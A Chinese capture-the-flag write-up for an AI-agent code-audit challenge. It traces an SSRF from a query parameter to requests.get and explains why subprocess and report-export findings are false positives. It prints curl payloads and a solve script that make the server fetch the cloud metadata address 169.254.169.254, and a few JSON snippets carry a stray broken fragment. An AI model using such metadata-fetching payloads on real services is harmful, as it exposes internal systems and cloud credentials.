赛事档案库 YQHL Competition Archive 返回主站
AI-02

AuditForge(代码审计 + 假发现排除)

代码审计与假发现排除:在大量噪声告警中定位真实缺陷,并抵抗注入式指令的干扰。

方向AI Agent
难度 Hard
分值450 分
题号7 / 20
项目 内容
平台题名 L杯-ai-02 AuditForge
分类 / 难度 AI Agent / Hard(分值 450)
入口 http://<host>/(审计控制台),实际交互面是 /tool/*
提交物 flag{...}

一、这题在考什么

给定一个仓库,要求找出一个真实可利用的高危问题,并且:

  • 能把它从此前看似高危的假发现里区分出来;
  • 用 run_test 拿到实际影响证据(不是「代码看起来有问题」);
  • 用 verify 提交结构化结论,字段精确到文件:行号。

一句话:不是关键词匹配,是可达性分析。

二、摸接口

curl -s http://<host>/api/tools
工具 入参 作用
repo.tree — 列全部文件
repo.search query 全文检索,返回 path / line / text
repo.read path 读文件全文
http.request method / path 对被测应用发请求(验证影响)
run_test name 跑预置检测(ssrf_check / command_injection_check / bola_check)
verify finding 提交结论

约束里写着 max_tool_calls: 40——所以别盲扫,要有策略地搜。

三、第 1 步:看结构

curl -s -X POST http://<host>/tool/repo.tree -H 'Content-Type: application/json' -d '{}'
{"files":[
  "Dockerfile","NOTICE.txt","README.md","app.py",
  "backend/api/routes.py","backend/api/server.py","backend/auth/session.py",
  "backend/logging/audit.py",
  "backend/services/convert_preview.py",
  "backend/services/report_preview.py",
  "backend/services/user_export.py",
  "config/settings.yml","nginx.conf","tests/test_security.py"
]}

规模很小,14 个文件。services/ 下三个文件(convert_preview / report_preview / user_export)是三个嫌疑点,正好对应 run_test 的三个检测名。

四、第 2 步:按 sink 类型定向检索

搜 requests.get(SSRF 的典型 sink)

curl -s -X POST http://<host>/tool/repo.search -H 'Content-Type: application/json' \
  -d '{"query":"requests.get"}'
{"hits":[{"path":"backend/services/report_preview.py","line":6,
          "text":"    response = requests.get(url, timeout=5)"}]}

全仓库只有一处,而且是唯一一处外部请求。命中率极高。

搜 subprocess(命令注入的典型 sink)

curl -s -X POST http://<host>/tool/repo.search -H 'Content-Type: application/json' \
  -d '{"query":"subprocess"}'
{"hits":[
  {"path":"backend/services/convert_preview.py","line":1,"text":"import subprocess"},
  {"path":"backend/services/convert_preview.py","line":7,
   "text":"    return subprocess.run(['convert', safe_name, '/tmp/out.png'], shell=False, check=False)"}
]}

这条线索查下去是空的,下一节说明为什么。

五、第 3 步:读源码做可达性分析

后端路由入口

curl -s -X POST http://<host>/tool/repo.read -H 'Content-Type: application/json' \
  -d '{"path":"backend/api/routes.py"}'
from backend.services.report_preview import fetch_preview
from backend.services.user_export import export_report
from backend.auth.session import require_session

def handle_request(path, query, session):
    if path == '/api/report/preview':
        return fetch_preview(query.get('url', [''])[0])     # ← 第 6 行
    if path == '/api/export':
        return export_report(query.get('id', [''])[0], session)
    return {'status': 404}

source(用户可控输入)落在 routes.py 第 6 行:query.get('url', ...) 直接取自 query string,无任何校验。

sink 实现

curl -s -X POST http://<host>/tool/repo.read -H 'Content-Type: application/json' \
  -d '{"path":"backend/services/report_preview.py"}'
import requests

def fetch_preview(url: str):
    # Security note: the URL comes directly from the authenticated analyst.
    # The service must render remote previews for the portal.
    response = requests.get(url, timeout=5)              # ← 第 6 行
    return {'status': response.status_code, 'body': response.text[:4096]}

sink 在 report_preview.py 第 6 行:requests.get(url, timeout=5)。

数据流结论

GET /api/report/preview?url=<攻击者任意 URL>
        │
        ▼  routes.py:6         query['url'] 未校验
        ▼  report_preview.py:6 requests.get(url)  无 allowlist / 无目标校验
        ▼
   服务端发出任意出站请求 → 可打内网 / 云元数据

中间没有 allowlist、没有 scheme 限制、没有私网地址过滤、没有 URL 解析后复核。这就是一条完整的 SSRF。

六、第 4 步:在真机上证明影响

只看代码不够——要拿到实际请求证据:

curl -s -X POST http://<host>/tool/http.request -H 'Content-Type: application/json' \
  -d '{"method":"GET","path":"/api/report/preview?url=http://169.254.169.254/latest/meta-data/"}'
{
  "status": 200,
  "evidence": "internal-metadata reachable",
  "body": "instance-id: auditforge-01\\nrole: report-worker"
}

服务端真的把请求打到了 169.254.169.254(云元数据地址)并且把内容回显了。 这一步把「代码看起来能打」升级成「确实打到了」。

七、第 5 步:用预置检测逐个证伪

这是本题最关键的一步——三个检测里只有一个 passed: true。

# 1) SSRF
curl -s -X POST http://<host>/tool/run_test -H 'Content-Type: application/json' -d '{"name":"ssrf_check"}'
{"name":"ssrf_check","passed":true,
 "evidence":{"finding":"SSRF-01","source":"backend/api/routes.py:6",
             "sink":"backend/services/report_preview.py:6",
             "endpoint":"/api/report/preview",
             "impact":"Server-side request forgery; ..."*/>}}
# 2) 命令注入
curl -s -X POST http://<host>/tool/run_test -H 'Content-Type: application/json' -d '{"name":"command_injection_check"}'
{"name":"command_injection_check","passed":false,
 "reason":"shell=False and UUID-normalized filenames prevent shell interpretation"}
# 3) 越权(BOLA)
curl -s -X POST http://<host>/tool/run_test -H 'Content-Type: application/json' -d '{"name":"bola_check"}'
{"name":"bola_check","passed":false,
 "reason":"owner is checked against authenticated session"}

两个假发现为什么假

convert_preview.py 的 subprocess.run —— 不是命令注入:

def convert(filename: str):
    safe_name = filename.replace('..', '')
    return subprocess.run(['convert', safe_name, '/tmp/out.png'], shell=False, check=False)
  1. shell=False + 列表形式的 argv:safe_name 是作为一个独立参数传进去的,; | $() && 都不会被 shell 解释,只会被当成文件名的一部分。
  2. 上传层把用户文件名统一成 UUID,filename 本身就没有可控性。
  3. filename.replace('..','') 只是路径穿越的额外防线,在这条链上不是关键——关键是没有 shell。

→ 典型的「看到 subprocess 就报命令注入」的误报。

user_export.py 的导出 —— 不是 BOLA:

def export_report(report_id, session):
    require_session(session)
    owner = lookup_owner(report_id)
    if owner != session.get('user_id'):
        return {'status': 403}
    return {'status': 200, 'report_id': report_id}

先有 require_session,再把 owner 与 session['user_id'] 比对,不匹配就 403。对象级授权是实现了的。

→ 典型的「看到 report_id 来自用户就报 IDOR」的误报。

八、第 6 步:提交结构化结论

字段必须与检测返回的 evidence 逐字一致,包括 impact 那段英文句子:

curl -s -X POST http://<host>/tool/verify \
  -H 'Content-Type: application/json' \
  -d '{
    "finding": {
      "finding":  "SSRF-01",
      "source":   "backend/api/routes.py:6",
      "sink":     "backend/services/report_preview.py:6",
      "endpoint": "/api/report/preview",
      "impact":   "Server-side request forgery; attacker-controlled URL is fetched by the server without destination validation."
    }
  }'
{"status":"verified","flag":"flag{...}"}

被拒时会回 {"status":"rejected","expected_fields":[...]},可以据此核对缺哪个字段。

九、一条命令走完

#!/usr/bin/env bash
B=${1:-http://<host>}
j() { curl -s -X POST "$B$1" -H 'Content-Type: application/json' -d "$2"; }

j /tool/repo.tree   '{}'                                        > /dev/null
j /tool/repo.search '{"query":"requests.get"}'                  > /dev/null
j /tool/repo.read   '{"path":"backend/api/routes.py"}'          > /dev/null
j /tool/repo.read   '{"path":"backend/services/report_preview.py"}' > /dev/null
j /tool/http.request '{"method":"GET","path":"/api/report/preview?url=http://169.254.169.254/latest/meta-data/"}' > /dev/null
j /tool/run_test    '{"name":"ssrf_check"}'                     > /dev/null
j /tool/verify '{"finding":{"finding":"SSRF-01",
  "source":"backend/api/routes.py:6",
  "sink":"backend/services/report_preview.py:6",
  "endpoint":"/api/report/preview",
  "impact":"Server-side request forgery; attacker-controlled URL is fetched by the server without destination validation."*/>}}' \
  | grep -oE 'flag\{[^}]+\}'

总共 7 次调用,远低于 40 次上限。

十、坑点清单

坑 表现 应对
报命令注入 subprocess 命中很诱人 shell=False + 列表 argv + UUID 归一化 → 假
报越权 report_id 来自用户 require_session + owner 比对 → 假
行号写错 verify 返回 rejected 行号是文件内的物理行号,routes.py:6、report_preview.py:6
impact 抄漏 少一个分号 / 大小写不同 直接从 ssrf_check 的 evidence 里整段复制
只看代码不验证 不知道真的能打 必须过 /tool/http.request 拿 internal-metadata reachable
盲扫 40 次上限 调用数耗尽 用 repo.search 按 sink 类型定向搜,一次命中

十一、知识点与思路沉淀

  1. 审计的第一步是找 sink,不是读全仓。按 requests.get / subprocess / eval / pickle.loads / open 这类 sink 定向搜,比逐个文件读快一个数量级。
  2. source → sink 的可达性是唯一判据。代码里有 sink 不等于有漏洞;代码里没有 allowlist 才是漏洞。
  3. shell=False + 列表 argv ≠ 安全。它防的是 shell 元字符,不防「参数被当成选项」这类注入(比如 convert 的 -write 参数)。所以严格说这个点是「可利用性低」而非「绝对安全」——题目的判定(passed: false)是站在当前这条调用链上的。
  4. 「假发现」是真实代码审计的主战场。自动化扫描器 90% 的报告都是这类东西;能证伪才算会审计。
  5. max_tool_calls 是一种隐性约束:Agent 必须规划,不能穷举。这跟真实审计里「预算有限、先看哪里」是一样的。

十二、真实环境验证

一次性容器实测:

$ run_test ssrf_check            → passed: true
$ run_test command_injection_check → passed: false  (shell=False and UUID-normalized filenames ...)
$ run_test bola_check            → passed: false  (owner is checked against authenticated session)
$ http.request preview?url=http://169.254.169.254/... 
                                 → {"evidence":"internal-metadata reachable", ...}
$ verify {"finding":{...*/>}}       → {"status":"verified","flag":"flag{local_verify_ai02}"}

实际比赛环境里 flag 由平台注入,值不同、格式一致。